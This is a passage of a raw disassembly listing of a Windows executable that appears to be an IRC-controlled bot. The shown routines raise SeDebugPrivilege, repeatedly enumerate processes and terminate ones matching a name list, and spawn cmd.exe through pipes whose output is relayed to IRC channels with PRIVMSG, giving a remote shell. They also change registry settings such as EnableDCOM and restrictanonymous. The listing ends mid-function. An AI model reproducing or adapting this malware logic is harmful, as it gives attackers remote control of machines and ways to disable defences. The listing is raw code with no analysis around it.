push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A3F: ; CODE XREF: sub_4199AC+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_4199AC+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A50: ; CODE XREF: sub_4199AC+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A57: ; CODE XREF: sub_4199AC+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4199AC+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A97
jz short loc_419A90
sub eax, 8ADh
jz short loc_419AC2
dec eax
dec eax
jz short loc_419A89
dec eax
jz short loc_419A82
dec eax
dec eax
jnz short loc_419AAD
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A82: ; CODE XREF: sub_4199AC+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: sub_4199AC+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199AC+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199AC+B9j
sub eax, 8CAh
jz short loc_419AC9
sub eax, 17h
jz short loc_419AC2
sub eax, 25h
jz short loc_419ABB
sub eax, 29h
jz short loc_419AB4
loc_419AAD: ; CODE XREF: sub_4199AC+35j
; sub_4199AC+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AB4: ; CODE XREF: sub_4199AC+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_4199AC+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC2: ; CODE XREF: sub_4199AC+C2j
; sub_4199AC+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_4199AC+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419ACE: ; CODE XREF: sub_4199AC+40j
; sub_4199AC+4Aj ...
push offset byte_4DB5E0 ; Dest
call _sprintf
pop ecx
mov eax, offset byte_4DB5E0
pop ecx
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419AE0(char *Source)
sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp
Dest = word ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h ; MaxCount
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
add esp, 0Ch
lea eax, [ebp+Source]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+Source], esi
call ds:dword_4270C8 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi ; MaxCount
push eax ; Source
lea eax, [ebp+var_318]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Dest]
push eax ; Str
call _wcslen
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB9E4
test eax, eax
jnz short loc_419B70
mov esi, offset byte_4DB3DC
push offset asc_43A20C ; "-"
push esi ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419AE0+7Aj
lea ecx, [ebp+Dest]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4199AC
pop ecx
mov esi, offset byte_4DB3DC
push eax
push offset asc_43A1E0 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
loc_419B99: ; CODE XREF: sub_419AE0+8Ej
mov eax, esi
pop esi
leave
retn
sub_419AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B9E proc near ; CODE XREF: sub_4172C1+45p
; sub_4172C1+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_427104 ; GetCurrentProcess
push eax
call dword_4CB9B8 ; OpenProcessToken
test eax, eax
jnz short loc_419BBD
leave
retn
; ---------------------------------------------------------------------------
loc_419BBD: ; CODE XREF: sub_419B9E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB990 ; LookupPrivilegeValueA
test eax, eax
jz short loc_419BFB
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419BE4
or [ebp+var_8], 2
jmp short loc_419BE8
; ---------------------------------------------------------------------------
loc_419BE4: ; CODE XREF: sub_419B9E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419BE8: ; CODE XREF: sub_419B9E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CBA40 ; AdjustTokenPrivileges
mov esi, eax
loc_419BFB: ; CODE XREF: sub_419B9E+32j
push [ebp+var_4]
call ds:dword_427070 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419B9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419C09(int,char *Str,int,char *Str2,int,int)
sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p
; sub_419E38+74p ...
Dest = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
Str1 = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
Str2 = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB9F4, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419E08
cmp dword_4CB9D8, ebx
jz loc_419E08
cmp dword_4CB8E8, ebx
jz loc_419E08
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB9F4 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419DFB
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB9D8 ; Process32First
mov esi, ds:dword_427070
test eax, eax
jz loc_419DF6
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB8E8 ; Process32Next
test eax, eax
jz loc_419DF6
mov edi, ds:dword_42708C
mov ebx, 1F0FFFh
loc_419CCD: ; CODE XREF: sub_419C09+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419D34
mov [ebp+var_4], offset off_43A238
loc_419CDB: ; CODE XREF: sub_419C09+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+Str1]
push eax
call ds:dword_42718C ; lstrcmpi
test eax, eax
jz short loc_419D03
add [ebp+var_4], 4
cmp [ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe"
jb short loc_419CDB
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D03: ; CODE XREF: sub_419C09+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_419DDC
push 0
push eax
call ds:dword_4270FC ; TerminateProcess
test eax, eax
jnz loc_419DDC
loc_419D2A: ; CODE XREF: sub_419C09+1B9j
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419C09+C9j
cmp [ebp+Str2], eax
jnz loc_419DC7
cmp [ebp+Str], eax
jz loc_419DDC
push [ebp+var_128]
push 8
call dword_4CB9F4 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D87
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB894 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_419D8D
lea eax, [ebp+var_234]
jmp short loc_419D93
; ---------------------------------------------------------------------------
loc_419D87: ; CODE XREF: sub_419C09+15Cj
push [ebp+var_128]
loc_419D8D: ; CODE XREF: sub_419C09+174j
lea eax, [ebp+Str1]
loc_419D93: ; CODE XREF: sub_419C09+17Cj
push eax
lea eax, [ebp+Dest]
push offset aSD_0 ; " %s (%d)"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push 1 ; int
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
jmp loc_419D2A
; ---------------------------------------------------------------------------
loc_419DC7: ; CODE XREF: sub_419C09+12Ej
push [ebp+Str2] ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_419E0F
loc_419DDC: ; CODE XREF: sub_419C09+F5j
; sub_419C09+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB8E8 ; Process32Next
test eax, eax
jnz loc_419CCD
xor ebx, ebx
loc_419DF6: ; CODE XREF: sub_419C09+9Dj
; sub_419C09+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_419DFB: ; CODE XREF: sub_419C09+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
loc_419E08: ; CODE XREF: sub_419C09+3Aj
; sub_419C09+46j ...
xor eax, eax
loc_419E0A: ; CODE XREF: sub_419C09+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E0F: ; CODE XREF: sub_419C09+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call ds:dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419E33
push edi
call esi ; CloseHandle
jmp short loc_419E08
; ---------------------------------------------------------------------------
loc_419E33: ; CODE XREF: sub_419C09+223j
push 1
pop eax
jmp short loc_419E0A
sub_419C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o
Dest = byte ptr -298h
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset asc_43A438 ; "-"
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E97
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_409869
add esp, 14h
loc_419E97: ; CODE XREF: sub_419E38+3Dj
push [ebp+var_10] ; int
lea eax, [ebp+Str]
push esi ; int
push esi ; Str2
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_419C09
add esp, 18h
test eax, eax
jnz short loc_419EBF
push offset unk_43A414
jmp short loc_419EC4
; ---------------------------------------------------------------------------
loc_419EBF: ; CODE XREF: sub_419E38+7Ej
push offset asc_43A3F0 ; "-"
loc_419EC4: ; CODE XREF: sub_419E38+85j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419EF7
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_409869
add esp, 14h
loc_419EF7: ; CODE XREF: sub_419E38+9Dj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_14]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_419E38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p
; sub_40B4F5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call ds:dword_42708C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_419F48
push 0
push esi
call ds:dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419F48
push esi
xor edi, edi
call ds:dword_427070 ; CloseHandle
loc_419F48: ; CODE XREF: sub_419F16+1Aj
; sub_419F16+27j
mov eax, edi
pop edi
pop esi
retn
sub_419F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419F4D proc near ; DATA XREF: WinMain(x,x,x,x)+3CDo
push esi
xor esi, esi
loc_419F50: ; CODE XREF: sub_419F4D+1Ej
push 1 ; int
push esi ; int
push esi ; Str2
push esi ; int
push esi ; Str
push esi ; int
call sub_419C09
add esp, 18h
push dword_43A234
call ds:dword_427080 ; Sleep
jmp short loc_419F50
sub_419F4D endp
; =============== S U B R O U T I N E =======================================
sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap
; sub_419FD5+7Ep ...
mov eax, dword_4DBC48
push esi
mov esi, ds:dword_427070
cmp eax, 0FFFFFFFFh
jz short loc_419F81
push eax
call esi ; CloseHandle
loc_419F81: ; CODE XREF: sub_419F6D+Fj
mov eax, dword_4DBC50
cmp eax, 0FFFFFFFFh
jz short loc_419F8E
push eax
call esi ; CloseHandle
loc_419F8E: ; CODE XREF: sub_419F6D+1Cj
mov eax, dword_4DBC44
cmp eax, 0FFFFFFFFh
jz short loc_419F9B
push eax
call esi ; CloseHandle
loc_419F9B: ; CODE XREF: sub_419F6D+29j
pop esi
retn
sub_419F6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419F9D(char *Str)
sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p
; sub_416000+14Ap
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+Str] ; Str
call _strlen
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+Str]
push dword_4DBC4C
call ds:dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_419FD0
call sub_419F6D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419FD0: ; CODE XREF: sub_419F9D+28j
push 1
pop eax
leave
retn
sub_419F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419FD5(int,char *Str1,int)
sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p
; sub_41A05C+F2p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str1 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43DB88 ; Str2
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_41A018
push 7D0h
call ds:dword_427080 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+Dest]
push [ebp+Str1]
push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r"
push eax ; Dest
call _sprintf
add esp, 10h
jmp short loc_41A02F
; ---------------------------------------------------------------------------
loc_41A018: ; CODE XREF: sub_419FD5+1Aj
push [ebp+arg_8]
lea eax, [ebp+Dest]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_41A02F: ; CODE XREF: sub_419FD5+41j
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
test eax, eax
jg short loc_41A058
call sub_419F6D
loc_41A058: ; CODE XREF: sub_419FD5+7Cj
xor eax, eax
leave
retn
sub_419FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o
Dst = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset byte_4DBC54
loc_41A074: ; CODE XREF: sub_41A05C+79j
; sub_41A05C+DBj
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+Dst]
push esi
push eax
push dword_4DBC48
call ds:dword_427194 ; PeekNamedPipe
test eax, eax
jz loc_41A142
cmp [ebp+var_4], edi
jnz short loc_41A0D7
lea eax, [ebp+var_8]
push eax
push dword_4DBC44
call ds:dword_427190 ; GetExitCodeProcess
test eax, eax
jz short loc_41A0CD
cmp [ebp+var_8], 103h
jnz loc_41A166
loc_41A0CD: ; CODE XREF: sub_41A05C+62j
push 0Ah
call ds:dword_427080 ; Sleep
jmp short loc_41A074
; ---------------------------------------------------------------------------
loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A0EE
loc_41A0DE: ; CODE XREF: sub_41A05C+90j
cmp [ebp+eax+Dst], 0Ah
jz short loc_41A13C
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A0DE
loc_41A0EE: ; CODE XREF: sub_41A05C+80j
mov [ebp+var_4], esi
loc_41A0F1: ; CODE XREF: sub_41A05C+E4j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+Dst]
push eax
push dword_4DBC48
call ds:dword_4270EC ; ReadFile
test eax, eax
jz short loc_41A18E
lea eax, [ebp+Dst]
push eax ; int
push ebx ; Str1
push dword_4DBC88 ; int
call sub_419FD5
add esp, 0Ch
jmp loc_41A074
; ---------------------------------------------------------------------------
loc_41A13C: ; CODE XREF: sub_41A05C+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A0F1
; ---------------------------------------------------------------------------
loc_41A142: ; CODE XREF: sub_41A05C+45j
push offset unk_43A4C0 ; int
push ebx ; Str1
push dword_4DBC88 ; int
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push 1
call ds:dword_4270D4 ; ExitThread
loc_41A166: ; CODE XREF: sub_41A05C+6Bj
call sub_419F6D
push offset unk_43A498 ; int
push ebx ; Str1
push dword_4DBC88 ; int
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call ds:dword_4270D4 ; ExitThread
loc_41A18E: ; CODE XREF: sub_41A05C+C3j
push offset unk_43A468 ; int
push ebx ; Str1
push dword_4DBC88 ; int
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call ds:dword_4270D4 ; ExitThread
sub_41A05C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp
; sub_416000+99p
Dest = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
Dst = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419F6D
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_4CBA90 ; SearchPathA
test eax, eax
jz loc_41A2AB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, ds:dword_427108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
mov edi, ds:dword_427104
push 3
push esi
push esi
push offset dword_4DBC4C
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_427100 ; DuplicateHandle
test eax, eax
jz short loc_41A2AB
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_74]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+Dst]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43DB88
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_41A2B3
loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj
; sub_41A1B1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A361
; ---------------------------------------------------------------------------
loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j
push [ebp+var_4]
mov edi, ds:dword_427070
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DBC48, eax
mov eax, [ebp+var_8]
mov dword_4DBC50, eax
mov eax, [ebp+Dst]
mov dword_4DBC44, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DBC88, eax
jz short loc_41A2ED
push [ebp+arg_4]
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2ED: ; CODE XREF: sub_41A1B1+135j
push ebx ; Format
loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj
push offset byte_4DBC54 ; Dest
call _sprintf
pop ecx
pop ecx
push esi ; int
push 0Ah ; int
push offset asc_43A524 ; "-"
call sub_40B3BA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E918[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A05C
push esi
push esi
call ds:dword_427084 ; CreateThread
cmp eax, esi
mov dword_43E924[edi], eax
jnz short loc_41A35F
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_43A4F0 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 10h
loc_41A35F: ; CODE XREF: sub_41A1B1+185j
xor eax, eax
loc_41A361: ; CODE XREF: sub_41A1B1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A1B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A3AD
call sub_41A3C6
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A366+3Ej
call sub_41A6EA
loc_41A3B2: ; CODE XREF: sub_41A366+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_41A366 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p
Dest = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CBAA4, edi
jnz loc_41A4F8
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A451
mov ax, word_439298
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A433
push offset dword_43A7C0
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A433: ; CODE XREF: sub_41A3C6+64j
push offset asc_43A7A0 ; "-"
loc_41A438: ; CODE XREF: sub_41A3C6+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A464
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3C6+36j
lea eax, [ebp+Dest]
push offset asc_43A770 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A464: ; CODE XREF: sub_41A3C6+89j
cmp [ebp+arg_C], edi
jnz short loc_41A483
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A483: ; CODE XREF: sub_41A3C6+A1j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A4F1
lea eax, [ebp+Str]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], 1
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A4D3
push offset dword_43A720
jmp short loc_41A4D8
; ---------------------------------------------------------------------------
loc_41A4D3: ; CODE XREF: sub_41A3C6+104j
push offset asc_43A6EC ; "-"
loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A50B
; ---------------------------------------------------------------------------
loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j
push offset dword_43A6B0
jmp short loc_41A4FD
; ---------------------------------------------------------------------------
loc_41A4F8: ; CODE XREF: sub_41A3C6+13j
push offset asc_43A680 ; "-"
loc_41A4FD: ; CODE XREF: sub_41A3C6+130j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A50B: ; CODE XREF: sub_41A3C6+129j
cmp [ebp+arg_C], edi
jnz short loc_41A52A
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A52A: ; CODE XREF: sub_41A3C6+148j
lea eax, [ebp+Dest]
push eax
call sub_415D38
cmp dword_4CBACC, edi
pop ecx
jnz loc_41A6A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j
lea eax, [ebp+var_C]
